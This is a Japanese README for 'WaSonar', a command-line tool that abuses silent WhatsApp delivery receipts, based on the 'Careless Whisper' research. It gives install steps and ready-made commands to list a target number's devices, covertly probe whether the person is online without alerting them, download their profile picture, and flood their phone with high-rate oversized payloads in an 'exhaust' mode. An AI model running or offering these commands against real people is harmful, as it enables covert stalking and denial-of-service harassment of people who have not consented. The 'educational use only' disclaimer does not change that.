
WhatsApp インテリジェンス&リソース枯渇ツール。リアルタイムの端末追跡、サイレントRTTプロービング、セキュリティ研究のためのプロトコルストレステストを備えています。
免責事項: このツールは教育目的およびセキュリティ研究のためのみです。開発者は悪用について責任を負いません。責任を持って倫理的にご使用ください。
WaSonar は、WhatsAppプロトコルにおける教育研究、デバイストラッキング、ストレステストのために設計された強力なCLIツールです。Baileys 上に構築されています。
npm install -g wasonar-cli
npx wasonar-cli <command>
git clone https://github.com/AjayAntoIsDev/wasonar.git
cd wasonar
npm install
最初に、WhatsAppアカウントで認証する必要があります。
wasonar-cli login
ターミナルに表示されるQRコードをスキャンしてください。
対象番号に接続されているすべてのデバイスを一覧表示します。
wasonar-cli devices <target-number>
# 例:
wasonar-cli devices 919876543210
コア機能です。サイレントプローブを送信して、デバイスがオンラインかどうかを検出し、レイテンシを測定します。
# 無制限にプローブを送信(デフォルト)
wasonar-cli online 919876543210
# 特定の回数プローブを送信
wasonar-cli online 919876543210 --probes 5
# 結果をファイルに保存
wasonar-cli online 919876543210 --output ./logs
注: PENDING/OFFLINE は、サーバーがメッセージを受信したが、対象デバイスが受信確認をしなかったことを意味します。
ユーザーのプロフィール画像とステータスを取得します。
# 情報を表示し、プロフィール画像をダウンロード
wasonar-cli profile 919876543210 --output ./profiles
⚠️ 教育目的のみに使用してください。 高頻度で過大なペイロードを送信します。
# アグレッシブモード(デフォルト: 250 req/s, 1KB ペイロード)
wasonar-cli exhaust 919876543210
# スローモード(10 req/s, 500B ペイロード)
wasonar-cli exhaust 919876543210 --aggression slow
# 期間を設定
wasonar-cli exhaust 919876543210 --duration 30
WaSonar は「サイレント削除プローブ」を使用して、対象に警告を発せずにオンライン状態を検出します。
revoked(削除)メッセージを送信します。delivery_receipt(ステータス3)を送信します。「Careless Whisper」の研究に基づき、この攻撃はWhatsAppのリアクション処理における検証のギャップを悪用します。
無効なリアクションは対象の電話に表示されませんが、それでも受信・処理されます。
研究データは、リソース枯渇の大きな可能性を示しています。
Gegenhuberら(ウィーン大学 & SBA Research)の研究に基づく:
@inproceedings{gegenhuber2024careless,
title={Careless Whisper: Exploiting Silent Delivery Receipts to Monitor Users on Mobile Instant Messengers},
author={Gegenhuber, Gabriel K. and G{\"u}nther, Maximilian and Maier, Markus and Judmayer, Aljosha and Holzbauer, Florian and Frenzel, Philipp {\'E}. and Ullrich, Johanna},
year={2024},
organization={University of Vienna, SBA Research}
}
作成者: AjayAnto